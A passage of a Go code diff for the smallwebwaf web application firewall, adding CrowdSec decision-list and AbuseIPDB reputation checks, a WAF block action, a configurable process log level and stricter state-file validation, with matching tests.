// the engine answered, has passed since fetched. Any other decision, such
// as one to show a captcha or one on a country, is left out. A decision
// to ban whose value or duration does not read is an error naming it by
// its number.
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
var answer []struct {
Duration string `json:"duration"`
Scenario string `json:"scenario"`
Scope string `json:"scope"`
Type string `json:"type"`
Value string `json:"value"`
}
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
if err != nil {
return entries{}, fmt.Errorf("read the answer: %w", err)
}
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
netblock, ok := parseNetblock(decision.Value)
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
found.lengths = append(found.lengths, netblock.Bits())
}
}
return found, nil
}
// withoutComment returns line without anything after a ; or a #, and // withoutComment returns line without anything after a ; or a #, and
// without the spaces around what is left. // without the spaces around what is left.
func withoutComment(line string) string { func withoutComment(line string) string {
+15 -7
View File
@@ -215,12 +215,7 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
wantAlert(t, queue, alerts.Alert{ wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
Time: time.Now().Add(-refresh),
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": dropURL, "error": tc.error},
})
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error) { `"url":"`+dropURL+`","error":"`+tc.error) {
@@ -535,7 +530,9 @@ func newQueue() *alerts.Queue {
// start returns the lists of p, fetched through servers by Run, which runs // start returns the lists of p, fetched through servers by Run, which runs
// until the test ends, once Run has fetched those due at start. // until the test ends, once Run has fetched those due at start.
func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists { func start(
t *testing.T, servers http.RoundTripper, p reputation.Params,
) *reputation.Lists {
t.Helper() t.Helper()
lists := reputation.New(p) lists := reputation.New(p)
@@ -597,6 +594,17 @@ func waiting(queue *alerts.Queue) []alerts.Alert {
return queue.Snapshot().Waiting[alerts.DestinationWebhook] return queue.Snapshot().Waiting[alerts.DestinationWebhook]
} }
// fetchFailure is the source_failure alert raised at the time raised for
// a fetch of the list at listURL that failed with err.
func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
return alerts.Alert{
Time: raised,
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": listURL, "error": err},
}
}
// wantAlert checks that want is the one alert waiting in queue, and that // wantAlert checks that want is the one alert waiting in queue, and that
// the cooldown has held back one repeat of it. // the cooldown has held back one repeat of it.
func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) { func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
+34 -10
View File
@@ -29,14 +29,20 @@ const (
// over a rate limit, which bans the client. // over a rate limit, which bans the client.
ActionRateLimited = "rate_limited" ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client, // ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule, which bans the client. // or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
ActionBanned = "banned" ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block // ActionRuleBlocked is a request refused because it matched a block
// rule. // rule.
ActionRuleBlocked = "rule_blocked" ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in // ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, // SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone while SWWAF_REPUTATION_ACTION is deny. // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWWAF_REPUTATION_ACTION is deny.
ActionDenied = "denied" ActionDenied = "denied"
// ActionCountryDenied is a request refused for its client's country. // ActionCountryDenied is a request refused for its client's country.
ActionCountryDenied = "country_denied" ActionCountryDenied = "country_denied"
@@ -46,9 +52,14 @@ const (
) )
// OffenceLimit is the offence a request line names for a request that // OffenceLimit is the offence a request line names for a request that
// broke a rate limit, or whose bytes broke a byte limit. // broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
const OffenceLimit = "limit" const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// timeLayout is RFC 3339 with milliseconds. // timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00" const timeLayout = "2006-01-02T15:04:05.000Z07:00"
@@ -115,8 +126,8 @@ type Line struct {
Action string `json:"action"` Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have // WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied, // taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited or // ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked. // ActionRuleBlocked or ActionWAFBlocked.
WouldAction string `json:"would_action,omitempty"` WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate // LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of // limits counted whose client a biased threshold gives a percentage of
@@ -134,12 +145,20 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"` Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched. // RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"` RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as // LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and // Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit. // minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
LimitHit string `json:"limit_hit,omitempty"` LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then // Reputation are the URLs of the blocklists that list the client, then
// the DNSBL zones whose verdict lists it. // that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit.
Reputation []string `json:"reputation,omitempty"` Reputation []string `json:"reputation,omitempty"`
// Offence is the offence the request was held as, OffenceLimit. // Offence is the offence the request was held as, OffenceLimit.
Offence string `json:"offence,omitempty"` Offence string `json:"offence,omitempty"`
@@ -148,13 +167,15 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"` BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the // The timings, in milliseconds. DurationChecks is the time until the
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte // checks were done, and DurationWAF the part of it the Core Rule Set
// and DurationUpstreamTotal run from when the request was handed to the // took. DurationUpstreamConnect, DurationUpstreamFirstByte and
// DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its // app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for // answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far. // a request that did not get that far.
DurationTotal float64 `json:"duration_total"` DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"` DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"` DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"` DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"` DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
@@ -191,8 +212,11 @@ func Milliseconds(d time.Duration) float64 {
// NewProcessLogger returns the logger for the process's own messages: // NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form // JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance. // as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
func NewProcessLogger(w io.Writer, instanceName string) *slog.Logger { // It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back.
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger {
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{ handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
Level: level,
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr { ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
if attr.Key == slog.TimeKey && len(groups) == 0 { if attr.Key == slog.TimeKey && len(groups) == 0 {
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time())) return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
+48 -1
View File
@@ -3,6 +3,8 @@ package requestlog_test
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"log/slog"
"slices"
"strings" "strings"
"testing" "testing"
"time" "time"
@@ -70,7 +72,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/gitea").Info("starting", "version", "v1") requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
"version", "v1")
var fields map[string]any var fields map[string]any
@@ -94,3 +97,47 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText) t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
} }
} }
func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
t.Parallel()
levels := []slog.Level{
slog.LevelDebug, slog.LevelInfo, slog.LevelWarn, slog.LevelError,
}
for i, level := range levels {
t.Run(level.String(), func(t *testing.T) {
t.Parallel()
var out bytes.Buffer
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
for _, at := range levels {
processLog.Log(t.Context(), at, "message")
}
var got, want []string
for line := range strings.Lines(out.String()) {
var fields struct {
Level string `json:"level"`
}
err := json.Unmarshal([]byte(line), &fields)
if err != nil {
t.Fatalf("decode %q: %v", line, err)
}
got = append(got, fields.Level)
}
for _, written := range levels[i:] {
want = append(want, written.String())
}
if !slices.Equal(got, want) {
t.Errorf("lines at %v, want %v", got, want)
}
})
}
}
+13 -6
View File
@@ -396,16 +396,23 @@ func (rule Rule) matches(r *http.Request) bool {
return rule.regex.MatchString(value(rule.Target, r)) return rule.regex.MatchString(value(rule.Target, r))
} }
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target, other than uri, is matched // value returns what a rule with target, other than uri, is matched
// against in r: the path and the query as the client sent them, before // against in r: the path, as Path gives it, and the query as the client
// any decoding or re-encoding, split at the first ?, and a header's values // sent it, before any decoding or re-encoding, after the first ?, and a
// joined by ", ", as HTTP joins those of a header sent more than once. // header's values joined by ", ", as HTTP joins those of a header sent
// more than once.
func value(target string, r *http.Request) string { func value(target string, r *http.Request) string {
switch target { switch target {
case "path": case "path":
path, _, _ := strings.Cut(pathAndQuery(r), "?") return Path(r)
return path
case "query": case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?") _, query, _ := strings.Cut(pathAndQuery(r), "?")
+18 -10
View File
@@ -21,6 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/state" "sneak.berlin/go/smallwebwaf/internal/state"
@@ -69,8 +70,10 @@ func Main(version string) int {
// state files, then serves requests until ctx is done. It returns the // state files, then serves requests until ctx is done. It returns the
// process's exit status, 1 when smallwebwaf cannot start. // process's exit status, 1 when smallwebwaf cannot start.
func Run(ctx context.Context, params Params) int { func Run(ctx context.Context, params Params) int {
// Until the settings are read, the one message is an invalid setting's
// error, which every SWWAF_LOG_LEVEL lets through.
processLog := requestlog.NewProcessLogger(params.Stdout, processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.LookupEnv)) config.InstanceName(params.LookupEnv), slog.LevelError)
cfg, err := config.FromEnvironment(params.LookupEnv) cfg, err := config.FromEnvironment(params.LookupEnv)
if err != nil { if err != nil {
@@ -88,8 +91,11 @@ func Run(ctx context.Context, params Params) int {
if cfg.LogRemoteURL != nil { if cfg.LogRemoteURL != nil {
remote = newRemoteLogSender(cfg) remote = newRemoteLogSender(cfg)
stdout = io.MultiWriter(params.Stdout, remote) stdout = io.MultiWriter(params.Stdout, remote)
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName) }
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
if remote != nil {
stopSending := startSending(ctx, remote, processLog) stopSending := startSending(ctx, remote, processLog)
defer stopSending() defer stopSending()
} }
@@ -169,14 +175,15 @@ func newServer(
} }
server := proxy.New(proxy.Params{ server := proxy.New(proxy.Params{
Config: cfg, Config: cfg,
RequestLog: stdout, RequestLog: stdout,
ProcessLog: processLog, ProcessLog: processLog,
GeoJSURL: lookup.URL, GeoJSURL: lookup.URL,
LookupFile: lookupFile, AbuseIPDBURL: reputation.AbuseIPDBURL,
Now: now, LookupFile: lookupFile,
Rules: ruleFiles, Now: now,
Alerts: alertQueue, Rules: ruleFiles,
Alerts: alertQueue,
}) })
server.Metrics.AddAlerts(alertQueue) server.Metrics.AddAlerts(alertQueue)
@@ -202,6 +209,7 @@ func loadStateFiles(
GeoJS: server.GeoJS, GeoJS: server.GeoJS,
Lists: server.Lists, Lists: server.Lists,
DNSBL: server.DNSBL, DNSBL: server.DNSBL,
AbuseIPDB: server.AbuseIPDB,
Alerts: alertQueue, Alerts: alertQueue,
Anomalies: server.Anomalies, Anomalies: server.Anomalies,
Now: now, Now: now,
+122
View File
@@ -249,6 +249,54 @@ func TestServesUntilToldToStop(t *testing.T) {
out.line(t, "msg", "stopped") out.line(t, "msg", "stopped")
} }
func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
t.Parallel()
// A list that cannot be fetched has a warning written once smallwebwaf
// serves, after its starting line.
lists := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusServiceUnavailable)
}))
t.Cleanup(lists.Close)
ctx, stop := context.WithCancel(t.Context())
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWWAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWWAF_LOG_LEVEL": "warn",
}, out)
}()
out.line(t, "msg", "fetching a list failed")
stop()
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
}
// Not one of the info lines from the start to the stop.
for line := range strings.Lines(out.text()) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["level"] == "INFO" {
t.Errorf("line %q (%v), want none at info", line, err)
}
}
}
func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) { func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
t.Parallel() t.Parallel()
@@ -668,6 +716,80 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
} }
} }
func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
t.Parallel()
const bouncerKey = "crowdsec-key-0123456789abcdef"
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
// four hours, and answers only a request with its key, while it is up.
down := new(atomic.Bool)
engine := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
switch {
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
w.WriteHeader(http.StatusForbidden)
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`)
}
}))
t.Cleanup(engine.Close)
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
"SWWAF_CROWDSEC_LAPI_URL": engine.URL,
"SWWAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
// Once the list is fetched, the client's request bans it.
first := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval)
}
})
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
}
// Restarted with the engine down, the copy kept in reputation.json bans
// another client in the netblock from its first request.
down.Store(true)
second := runUntilStopped(t, env, func(url string) {
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
})
// The key is in neither run's output, nor in a state file.
files := []string{"bans.json", "reputation.json", "clients.json"}
shown := make([]string, 0, len(files)+2)
shown = append(shown, first.text(), second.text())
for _, name := range files {
data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
if err != nil {
t.Fatalf("read %s: %v", name, err)
}
shown = append(shown, string(data))
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf("the key is shown in the output or the state files:\n%s", all)
}
}
// wantDeniedByList checks that the request log line is of a request the // wantDeniedByList checks that the request log line is of a request the
// blocklist at listURL refused. // blocklist at listURL refused.
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) { func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
+57 -19
View File
@@ -2,8 +2,8 @@
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes:
// bans.json holds the bans, clients.json each client's counters and // bans.json holds the bans, clients.json each client's counters and
// history, lookups.json GeoJS's answers, reputation.json the last try and // history, lookups.json GeoJS's answers, reputation.json the last try and
// last good copy of each list fetched from a URL and the DNSBL zones' // last good copy of each list fetched from a URL, the DNSBL zones'
// verdicts, and alerts.json the // verdicts, and AbuseIPDB's scores and checks spent, and alerts.json the
// cooldowns, the hour under way, the alerts waiting for each destination // cooldowns, the hour under way, the alerts waiting for each destination
// and the anomaly counters. Load // and the anomaly counters. Load
// reads them at start, Watch takes in an admin's edit of one while // reads them at start, Watch takes in an admin's edit of one while
@@ -60,7 +60,7 @@ var (
errVersion = errors.New("unknown version") errVersion = errors.New("unknown version")
// errMissing is for an entry without a field it needs. // errMissing is for an entry without a field it needs.
errMissing = errors.New("has no") errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack or admin") errCause = errors.New("is not limit, attack, admin or crowdsec")
errDestination = errors.New("is not webhook, slack or ntfy") errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watch") errScope = errors.New("is not client, net, asn, total or watch")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` + errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -77,14 +77,15 @@ type Params struct {
// is (SWWAF_STATE_COUNTER_INTERVAL). // is (SWWAF_STATE_COUNTER_INTERVAL).
WriteDelay time.Duration WriteDelay time.Duration
CounterInterval time.Duration CounterInterval time.Duration
// Ledger, Limiter, GeoJS, Lists, DNSBL, Alerts and Anomalies hold the // Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, Alerts and Anomalies
// state. Alerts also receive a file_error alert for an edit set aside, // hold the state. Alerts also receive a file_error alert for an edit set
// and for a write that fails while smallwebwaf runs. // aside, and for a write that fails while smallwebwaf runs.
Ledger *bans.Ledger Ledger *bans.Ledger
Limiter *ratelimit.Limiter Limiter *ratelimit.Limiter
GeoJS *lookup.GeoJS GeoJS *lookup.GeoJS
Lists *reputation.Lists Lists *reputation.Lists
DNSBL *reputation.DNSBL DNSBL *reputation.DNSBL
AbuseIPDB *reputation.AbuseIPDB
Alerts *alerts.Queue Alerts *alerts.Queue
Anomalies *anomaly.Counters Anomalies *anomaly.Counters
// Now tells the time by which the counters' buckets run out, normally // Now tells the time by which the counters' buckets run out, normally
@@ -147,9 +148,10 @@ type lookupsFile struct {
// reputationFile is reputation.json, indented for an admin to read and // reputationFile is reputation.json, indented for an admin to read and
// edit, so that each line of a list's copy is on a line of its own. // edit, so that each line of a list's copy is on a line of its own.
type reputationFile struct { type reputationFile struct {
Version int `json:"version"` Version int `json:"version"`
Lists []reputation.List `json:"lists"` Lists []reputation.List `json:"lists"`
Verdicts []reputation.Verdict `json:"verdicts"` Verdicts []reputation.Verdict `json:"verdicts"`
AbuseIPDB reputation.Checks `json:"abuseipdb"`
} }
// alertsFile is alerts.json, indented for an admin to read and edit. // alertsFile is alerts.json, indented for an admin to read and edit.
@@ -436,6 +438,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
} }
f.params.DNSBL.Load(file.Verdicts) f.params.DNSBL.Load(file.Verdicts)
f.params.AbuseIPDB.Load(file.AbuseIPDB)
entries = len(file.Lists) entries = len(file.Lists)
case alertsJSON: case alertsJSON:
waiting, err := f.takeInAlerts(path, data) waiting, err := f.takeInAlerts(path, data)
@@ -571,7 +574,7 @@ func (f *Files) encode(name string) ([]byte, error) {
case reputationJSON: case reputationJSON:
return encodeIndented(reputationFile{ return encodeIndented(reputationFile{
Version: version, Lists: f.params.Lists.Snapshot(), Version: version, Lists: f.params.Lists.Snapshot(),
Verdicts: f.params.DNSBL.Snapshot(), Verdicts: f.params.DNSBL.Snapshot(), AbuseIPDB: f.params.AbuseIPDB.Snapshot(),
}) })
default: // alerts.json default: // alerts.json
held := f.params.Alerts.Snapshot() held := f.params.Alerts.Snapshot()
@@ -644,7 +647,7 @@ func (e BanEntry) ban() bans.Ban {
// worked out, or an expires, which would make it permanent. A permanent // worked out, or an expires, which would make it permanent. A permanent
// ban's expires is null, which Bans cannot tell from a missing one, so // ban's expires is null, which Bans cannot tell from a missing one, so
// each expires is read again as written. A cause other than limit, // each expires is read again as written. A cause other than limit,
// attack or admin, most likely misspelt, is refused too. // attack, admin or crowdsec, most likely misspelt, is refused too.
func (f *bansFile) check(data []byte) error { func (f *bansFile) check(data []byte) error {
var written struct { var written struct {
Bans []struct { Bans []struct {
@@ -666,7 +669,8 @@ func (f *bansFile) check(data []byte) error {
case written.Bans[i].Expires == nil: case written.Bans[i].Expires == nil:
return missing(i, "expires") return missing(i, "expires")
case entry.Cause != "" && entry.Cause != bans.CauseLimit && case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin: entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause) return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
} }
} }
@@ -675,8 +679,8 @@ func (f *bansFile) check(data []byte) error {
} }
// check refuses a client without its address, which would count nobody's // check refuses a client without its address, which would count nobody's
// requests, or with requests or bytes in a window but no start, which // requests, or with requests, bytes or refusals in a window but no start,
// would drop them and give the client a fresh allowance. // which would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error { func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients { for i, client := range f.Clients {
switch { switch {
@@ -694,6 +698,8 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start") return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes): case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start") return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
} }
} }
@@ -736,9 +742,11 @@ func (f *lookupsFile) check(data []byte) error {
// of it without the time it was fetched, or without its lines, which hold // of it without the time it was fetched, or without its lines, which hold
// the list. It refuses a verdict without its zone or its client, which // the list. It refuses a verdict without its zone or its client, which
// would be about no one, whether the zone lists the client, or the time // would be about no one, whether the zone lists the client, or the time
// it was fetched, which would drop it. A verdict's listed is false for a // it was fetched, which would drop it, and so an AbuseIPDB score without
// client the zone does not list, which Verdicts cannot tell from a // its client, the score, or the time it was fetched. A verdict's listed is
// missing one, so each listed is read again as written. // false for a client the zone does not list, and a score can be 0, which
// the structs cannot tell from a missing one, so each is read again as
// written.
func (f *reputationFile) check(data []byte) error { func (f *reputationFile) check(data []byte) error {
for i, kept := range f.Lists { for i, kept := range f.Lists {
switch { switch {
@@ -777,6 +785,36 @@ func (f *reputationFile) check(data []byte) error {
} }
} }
return checkScores(f.AbuseIPDB.Scores, data)
}
// checkScores refuses an AbuseIPDB score, of scores, read from data, as
// reputationFile's check describes.
func checkScores(scores []reputation.Score, data []byte) error {
var written struct {
AbuseIPDB struct {
Scores []struct {
Score *int64 `json:"score"`
} `json:"scores"`
} `json:"abuseipdb"`
}
err := json.Unmarshal(data, &written)
if err != nil {
return err
}
for i, kept := range scores {
switch {
case !kept.Client.IsValid():
return fmt.Errorf("abuseipdb scores %w", missing(i, "client"))
case written.AbuseIPDB.Scores[i].Score == nil:
return fmt.Errorf("abuseipdb scores %w", missing(i, "score"))
case kept.Fetched.IsZero():
return fmt.Errorf("abuseipdb scores %w", missing(i, "fetched"))
}
}
return nil return nil
} }
@@ -862,8 +900,8 @@ func missingFromCounter(counter anomaly.Counter) string {
} }
} }
// countsWithoutStart reports whether b holds requests, or bytes, but no // countsWithoutStart reports whether b holds requests, bytes or refusals
// start, which places them in time. // but no start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool { func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0) return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
} }
+131 -17
View File
@@ -75,6 +75,15 @@ const permanentBansJSON = `{
"limit": 1000, "limit": 1000,
"window": "minute", "window": "minute",
"count": 1000.5, "count": 1000.5,
"reputation": [
{
"source": "https://lists.example/drop.txt"
},
{
"source": "abuseipdb",
"score": 100
}
],
"request": { "request": {
"time": "2026-10-06T00:00:00Z", "time": "2026-10-06T00:00:00Z",
"method": "GET", "method": "GET",
@@ -88,7 +97,8 @@ const permanentBansJSON = `{
"earlier_bans": { "earlier_bans": {
"limit": 3, "limit": 3,
"attack": 1, "attack": 1,
"admin": 1 "admin": 1,
"crowdsec": 2
} }
} }
} }
@@ -212,8 +222,9 @@ const filledAlertsJSON = `{
` `
// filledReputationJSON is reputation.json holding the blocklists' last // filledReputationJSON is reputation.json holding the blocklists' last
// tries and the copy of one, with its comment line, and two verdicts of a // tries and the copy of one, with its comment line, two verdicts of a
// DNSBL zone, as fill puts them in. // DNSBL zone, and the AbuseIPDB checks spent today with two scores, as
// fill puts them in.
const filledReputationJSON = `{ const filledReputationJSON = `{
"version": 1, "version": 1,
"lists": [ "lists": [
@@ -245,7 +256,23 @@ const filledReputationJSON = `{
"listed": false, "listed": false,
"fetched": "2026-10-05T22:00:00Z" "fetched": "2026-10-05T22:00:00Z"
} }
] ],
"abuseipdb": {
"day": "2026-10-06T00:00:00Z",
"spent": 3,
"scores": [
{
"client": "203.0.113.9/32",
"score": 100,
"fetched": "2026-10-05T23:00:00Z"
},
{
"client": "2001:db8::/64",
"score": 0,
"fetched": "2026-10-05T22:00:00Z"
}
]
}
} }
` `
@@ -282,6 +309,11 @@ func TestFilesWrittenAndReadBack(t *testing.T) {
wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot()) wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot())
